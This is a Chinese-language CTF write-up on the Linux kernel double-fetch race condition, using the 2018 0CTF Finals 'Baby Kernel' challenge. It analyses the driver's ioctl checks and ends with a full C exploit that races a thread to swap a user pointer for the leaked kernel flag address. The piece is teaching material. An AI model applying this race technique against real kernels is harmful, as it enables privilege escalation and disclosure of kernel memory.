原理介绍
首先看看CTF WIKI上面的解析:
Double Fetch 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争。
在 Linux 等现代操作系统中,虚拟内存地址通常被划分为内核空间和用户空间。内核空间负责运行内核代码、驱动模块代码等,权限较高。而用户空间运行用户代码,并通过系统调用进入内核完成相关功能。通常情况下,用户空间向内核传递数据时,内核先通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。
一个典型的 Double Fetch 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。
这里补充说明一点,当用户空间向内核传递数据时,除了使用copy_from_user等函数直接将用户数据拷贝至内核外,还有另外一种情况就是向内核传递的只是数据指针,数据仍然存储在用户空间,那存储于用户空间的数据就可能被篡改。这就是可利用double fetch利用的条件之一。
题目分析
这里主要是利用了2018 0CTF Finals Baby Kernel这一道题。好像这道题当初是只给了驱动文件和文件镜像,需要我们在ida中查看驱动所使用的内核版本,自己再对应去下载处理,而且我们的启动脚本也是自己书写。这里我不多赘述。贴一个P4nda师傅的,里面连EXP都已经写好打包进内核了。懒狗自惭形愧。
直接将我们的驱动拉进ida查看,可以看到,编写的函数不多,我们的init是调用misc_register()注册了一个杂项设备baby。
然后查看我们的ioctl函数:
可以看到,在我们的ioctl函数中,有两个分支。
第一个分支是打印我们的flag的地址:
if ( (_DWORD)a2 == 26214 ) // 0x6666
{
printk("Your flag is at %px! But I don't think you know it's content
", flag);// 打印flag的加载地址
result = 0LL;
}
另一个分支是打印flag的值:
else if ( (_DWORD)a2 == 4919 // 0x1337
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))// 判断我们的结构体是否在用户态
&& !_chk_range_not_ok(
*(_QWORD *)v5,
*(signed int *)(v5 + 8),
*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))// 判断我们结构体里面的flag是否在用户态
&& *(_DWORD *)(v5 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )// 将v5=v2=rdx与flag逐字符比较,如果全都对才打印下来
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s
", flag);
result = 0LL;
}
然后我们查看一下打印flag时需要绕过的验证,总共需要绕过四个条件,:
首先我们查看一下第一和第二个条件的含义,_chk_range_not_ok函数,发现ida反编译过来的伪C不太清晰,直接查看汇编;发现其实是先将我们的第一个参数和第二个参数相加,看是否产生进位,如果进位直接将我们的eax赋值为1;如果无进位,则返回第一个参数与第二个参数的和与第三个参数比较,看看和是否大于我们的第三个参数。其实感觉有点多余的比较,很多师傅都是一句话概括:其实就是判断a3是否小于a2+a1.。。用来判断是否越界。
发现第三个参数有点奇怪,于是动态调试一下看看具体是什么值;
发现我们的第三个参数是一个定值:0x7fffffff000
其实就是我们的用户空间。
这里涉及到64位进程的内存布局,在64位系统中,没有完全用到64位长的地址空间,只有低48位用来寻址,虚拟内存空间为256TB(2^48),同样采用经典内存布局,如下图所示。
所以,由以上信息,我们可以推断我们的v2传过来的是一个结构体指针:
typedef struct {
char *flag_addr;
size_t len;
} Data;
所以,打印flag的前三个验证就是:1.数据的指针是否指向用户态?2.flag的指针是否指向用户态?3.flag的长度是否等于内核中真正的flag的长度?
漏洞分析
其实乍看感觉是没有问题的,但是我们需要将前三个验证条件和第四个分开思考;
这就表明我们可以在判断flag地址范围和flag内容之间进行竞争,通过第一处的检查之后就把flag的地址偷换成内核中真正flag的地址;然后自身与自身做比较,通过检查得到flag,这里就涉及到我们的条件竞争的问题了。
我们先构造一个user_data来绕过第一大块的验证,这里主要是要验证我们的user_data和flag指针等是否在我们的用户态,以及user_data中的size位的验证。然后在第二块验证的时候,创建一个恶意线程,不断地更改我们user_data中地flag指针为内核中真正flag的位置,这里利用到第一个分支,打印出我们的flag内核中的地址。
最终EXP
From P4nda大牛
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#define TRYTIME 0x1000
char s[] = "flag{AAAA_BBBB_CC_DDDD_EEEE_FFFF}";
//char s2[] = "flag{THIS_WILL_BE_YOUR_FLAG_1234}";
struct t{
char * flag;
size_t size;
};
char* flagaddr=NULL;
int finish = 0;
void * run_thread(void * vvv)
{
struct t* v5 = vvv;
while(!finish) {
v5->flag = flagaddr;
}
}
int main(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
printf("{==DBG==} this is exp :p
");
int fd = open("/dev/baby",0);
printf("{==DBG==} fd: %d
",fd);
int ret = ioctl(fd,0x6666);
scanf("%px",&flagaddr);
printf("{==DBG==} get addr: %p
",flagaddr);
struct t * v5 = (struct t * )malloc(sizeof(struct t));
v5->size = 33;
v5->flag = s;
pthread_t t1;
pthread_create(&t1, NULL, run_thread,v5);
for(int i=0;i<TRYTIME;i++){
ret = ioctl(fd, 0x1337, v5);
if(ret != 0){
//printf("{==DBG==} ret: %d
",ret);
printf("{==DBG==} addr: %p
",v5->flag);
}else{
goto end;
}
v5->flag = s;
}
end:
finish = 1;
pthread_join(t1, NULL);
close(fd);
return 0;
}
参考
https://veritas501.space/2018/06/04/0CTF final baby kernel/
http://p4nda.top/2018/07/20/0ctf-baby/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/double-fetch-zh/
https://orangegzy.github.io/2020/09/10/Linux-Kernel-pwn-1-——Double-fetch/
https://x3h1n.github.io/2019/08/27/20180ctf-final-baby/